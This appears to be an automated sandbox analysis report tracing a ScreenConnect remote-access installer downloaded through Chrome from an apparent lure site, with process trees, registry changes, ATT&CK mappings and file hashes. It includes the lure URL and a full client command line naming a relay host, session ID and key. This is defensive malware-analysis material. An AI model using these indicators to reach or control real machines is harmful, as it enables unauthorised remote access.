Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-29a208818510d3d0	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD4DE57330FAB0F187990E453B8D5C66\SourceList\Net	msiexec.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
1688	msiexec.exe
1688	msiexec.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe
1816	ScreenConnect.ClientService.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe
Token: SeShutdownPrivilege	3260	chrome.exe
Token: SeCreatePagefilePrivilege	3260	chrome.exe

Suspicious use of FindShellTrayWindow 52 IoCs

pid	Process
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
4000	msiexec.exe
4000	msiexec.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 21 IoCs

pid	Process
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
3260	chrome.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe
2888	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3260 wrote to memory of 2808	3260	chrome.exe	81
PID 3260 wrote to memory of 3824	3260	chrome.exe	82
PID 3260 wrote to memory of 2516	3260	chrome.exe	83
PID 3260 wrote to memory of 3824	3260	chrome.exe	82
PID 3260 wrote to memory of 5040	3260	chrome.exe	85
PID 3260 wrote to memory of 5040	3260	chrome.exe	85
PID 3260 wrote to memory of 2044	3260	chrome.exe	86
PID 3260 wrote to memory of 2044	3260	chrome.exe	86
PID 3260 wrote to memory of 3116	3260	chrome.exe	87
PID 3260 wrote to memory of 3116	3260	chrome.exe	87
PID 3260 wrote to memory of 1308	3260	chrome.exe	88
PID 3260 wrote to memory of 1308	3260	chrome.exe	88
PID 3260 wrote to memory of 1148	3260	chrome.exe	91
PID 3260 wrote to memory of 2596	3260	chrome.exe	93
PID 3260 wrote to memory of 2596	3260	chrome.exe	93
PID 3260 wrote to memory of 404	3260	chrome.exe	94
PID 3260 wrote to memory of 4992	3260	chrome.exe	95
PID 3260 wrote to memory of 5076	3260	chrome.exe	96
PID 3260 wrote to memory of 3852	3260	chrome.exe	97
PID 3260 wrote to memory of 3680	3260	chrome.exe	98
PID 3680 wrote to memory of 4000	3680	ScreenConnect.ClientSetup.exe	99
PID 1688 wrote to memory of 876	1688	msiexec.exe	101
PID 876 wrote to memory of 2772	876	MsiExec.exe	102
PID 876 wrote to memory of 4656	876	MsiExec.exe	103
PID 876 wrote to memory of 2128	876	MsiExec.exe	104
PID 1688 wrote to memory of 4800	1688	msiexec.exe	108
PID 1688 wrote to memory of 2304	1688	msiexec.exe	110
PID 1688 wrote to memory of 4352	1688	msiexec.exe	111
PID 1816 wrote to memory of 2888	1816	ScreenConnect.ClientService.exe	113
PID 1816 wrote to memory of 2440	1816	ScreenConnect.ClientService.exe	114

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://flhealthlicense.vercel.app/
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdf849c728,0x7ffdf849c734,0x7ffdf849c740
  2⤵
  PID:2808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1572,i,988665174478501327,2766067451242467692,262144 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=1936 /prefetch:2
  2⤵
  PID:3824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2112,i,10848752394049040233,16529719074590713976,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2116 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:2516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2224,i,3208457994080157339,6216595511681865428,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2832 /prefetch:13
  2⤵
  PID:5040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3040,i,13813684640604607345,3396251581914353492,2097152 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3056 /prefetch:1
  2⤵
  PID:2044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3044,i,7726008497679983181,10599751871616577804,2097152 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3100 /prefetch:1
  2⤵
  PID:3116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4312,i,14903067912335352261,7585475585245839735,2097152 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4320 /prefetch:9
  2⤵
  PID:1308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,4660281490948562217,16883350185044646276,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5384 /prefetch:14
  2⤵
  PID:1148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5468,i,6345295696443730334,2269106140967089536,2097152 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5624 /prefetch:1
  2⤵
  PID:2596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5792,i,17822895057296549027,14183914592954836710,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3548 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6628,i,9291822561993359348,17465590724120657778,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=6644 /prefetch:14
  2⤵
  PID:4992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6624,i,353885694951141275,18001047607680545468,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=6440 /prefetch:14
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6560,i,15930401376733893734,14578853861013866432,524288 --field-trial-handle=1940,i,4399938595764850016,4999624191432089467,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=6364 /prefetch:14
  2⤵
  PID:3852
- C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe
  "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.7.6.9783\29a208818510d3d0\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:4000

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3736

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding AB7F05BB648EB2424EBCCD7AB34C6EB2 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7778.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744375 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2772
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI78F0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744703 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:4656
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7EBD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240746234 15 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2128
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4800
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 57AE0C9CEA8E45D4816650EE08AED412
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2304
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding AC4481665C8915D74693615551F0E533 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4352

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2828

C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xt1icc-relay.screenconnect.com&p=443&s=87096040-7e00-4f24-94c0-2e8aa859ea34&k=BgIAAACkAABSU0ExAAgAAAEAAQDBLcEy9mmDDbOGgHBN1NynS5EPeXTkbZAH8IlTnJk0pfOgLGZ2xlCS%2fDFz3IhkW1X2IrpSiwQem%2fUIHQSVwddL6kOsoNd6VYDt%2bSUa%2b46ZCxVvn0OCEJhNDdcPk69HV0bD0yLp8dlKBDBxhLARCJ%2f6%2f613FJrPjHPwvbg%2by%2b5iqNXzSvvq%2fpNwGgHLtmoe35%2by88zplQDdN3LGxQHgsOjJAf0LnBXPTdRn%2f2ygFX1jJlEFtnAMfocMIT%2bJ3nGTIl6eZUG84HVR9dke2KOMjdpsbnd82PEVDF0q6w6Acm9PAcDAG%2foh6YFBV088WORmdpMuUWoJ0J8RceuZOdfAVD6%2b&c=Newreothersllc&c=&c=&c=&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsClient.exe" "RunRole" "84317895-25ec-4cdb-a43a-2e17a3cf7ad4" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2888
- C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.WindowsClient.exe" "RunRole" "2d50a80b-3966-4ec6-adbc-ccbef5c30144" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59b3a7.rbs

Path C:\Config.Msi\e59b3a7.rbs
Size 214KB
SHA256 bdc81f6a7f2ec96f98dd8459e9db53493419078b3fa6d2effac1013b3d9b1979
MD5 10b37ee1e9509dc6567412a59dd60dab
SHA1 45dd5c8c0464efaf57e916958aba2f3e4bf6f159
SHA512 5a2dc1ec376816fd38a274a28710a3cca9e4e51e53bdeabc173ef8785ffdb5d5bf202d1a78efc2bdf8751c239fd50e95a8f2896688b15c1211ad69ede290abc4
SSDEEP 3072:7N9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG1:7NuH2aCGw1ST1wQLdqv1
TLSH
T171247C227491807EE7FA1A32D93F9A717E7CF6241760C59E83848C1E9D604C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.ClientService.dll
Size 92KB
SHA256 67f75a75bc19288cac0071e19e7af4463f2ecf4bb75fe13af80a4f0f57144253
MD5 e4c4942ae27f24bf6378017fc1a8ee08
SHA1 2309867ac0282b01682c076ce68f33791426c666
SHA512 1a34a0ed1f8182b04c73e2f07ca023a10b08a5c0d6df33f01d0a3a5bcae45a3aa9c043d84bac97f690823e0b7c72761afe6db937e79b249b30051811659bca5b
SSDEEP 1536:qzu1ewsuwDP/2ovANyI9x9pxZUuQOV+eGQ0ZUazxvmVRo9sb7HCz:qzc2j/BAkI9lXQOVAQAUazxvmVRoGbWz
TLSH
T15E936C4293FCA92BC9DF0E387061F26106B1BA13D9E6E7D46D8860DA2E527C15F1439F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (29a208818510d3d0)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 bc19602c59b0ba4a7a99f791c87298df76d8d62f86a928e112dca285a88a5a77
MD5 5fb9ee48afabedc5139695e0c4ef963a
SHA1 d48ce756eaebe56a6a82c0e9a4bee79f5f5f23ae
SHA512 505b93ab84a6278b70ba8c4417f75e82351ebba8b6b706065fd86f815fd4186cfd8688b4c7c4fd5eed2766d0e5648e2bf259fd4d6e21072f12e221038b29e4c7
SSDEEP 1536:xg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgkU0HMP7uSFy:ChbNDxZGXfdHrX7rAc6myJkgkU0Ha6SA
TLSH
T1BF935B13B5C28871E573093158E0DAB09A7FF9615E61DEAB3788022E4F341C1AE75EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 727B
SHA256 c16ddf2ea610d43f468c0bae50a69d8ae53b8a67cacee0ebfd8b0ca74e9c9209
MD5 e62aef439da6d7d350b0a1bfc77ac283
SHA1 38173275ca7473715353ee155f7a0e478bd483de
SHA512 9ea9068e0d5f88ad92052ea8390c6a9470e46a61ca0d7fcef39f3086eed8c487c527a8f3e6dd5d0760a8a037e95a3f7b14ef5a5f5c263120a9f9e3b102f66748
TLSH
T195016509C736654589554994B8C6DA9438BD123029C320DA13F5E3CCA542777780228C
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 b6668ab304ceaf7cad0744a538c7363b61e993822c1379ce06924c9392d4f3ed
MD5 303af0bbabeb35acda52bbb5e5485e7e
SHA1 59bd4956835ac92c194b9e6deb38d07ce7d47ba3
SHA512 62cdbe56434bd06d306f3bc20dc91bf883979f5958c4414c50bbfdbe464a04b3ca2b3de8968c091aab6ecc283aaba8717cf6e9558709394206720e03ccafb79e
TLSH
T16E01992374DE5E11FD702688C3EC45DD71A6F578258843B22F5041CB51787952C63608
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 404B
SHA256 b8c6c9fcbb4b5e2c4179653a4b9a521c0c214d7114da8c1c7226704c538b36ac
MD5 8349b99462896cbfed66fb20806fd2e5
SHA1 c0a7b5dfbeefc59189c92d3105e8e52def3626f2
SHA512 a6cf77b5c7bbb5d6d41f70dec006c9ed339b318577031e2962bf3fec86c96b843ae1c28b1cf53a7ac9913d835b8b11f11ee394925b86d9cf0d10c2d463ac0c0b
TLSH
T13BE0C03421F9465DF0A2D53447FAAC52584CF15B0842C27C0A8092057A15F004CB1274
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 2ca45e73575a30647096726c9b87be41b8aec8a8ba0e8b5259f14508962f0428
MD5 381aeabb91ad90be509ba45794318169
SHA1 4e5935e8566813892eb9246e253d228e747591a2
SHA512 cedf567348ce015139abc10d8812f88b28a5a1b5f796784c0fe007dbddada5a088c85914ba568eb04679a69e38da5b4231e491dd9f0f69d5ba85568bfd404096
TLSH
T1BEE0DF2826EFA55EF1909C3A46E9B1761E49E3156848D7BA16D19308BB5BE00AC20AB1
MD5 SHA1 SHA512 TLSH

Submit Download

136b6e5a-2828-48f4-890e-6febfc8987d7.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\136b6e5a-2828-48f4-890e-6febfc8987d7.tmp
Size 132KB
SHA256 4ac6c60e5e4d6e066978f089d7383da1245bb6abb283832324aec9bbdf27ec09
MD5 337e9ec643cbce2cae17fa685e6e9b79
SHA1 7bf435f371babb22e413aacf0f4fd3ec15ddd04f
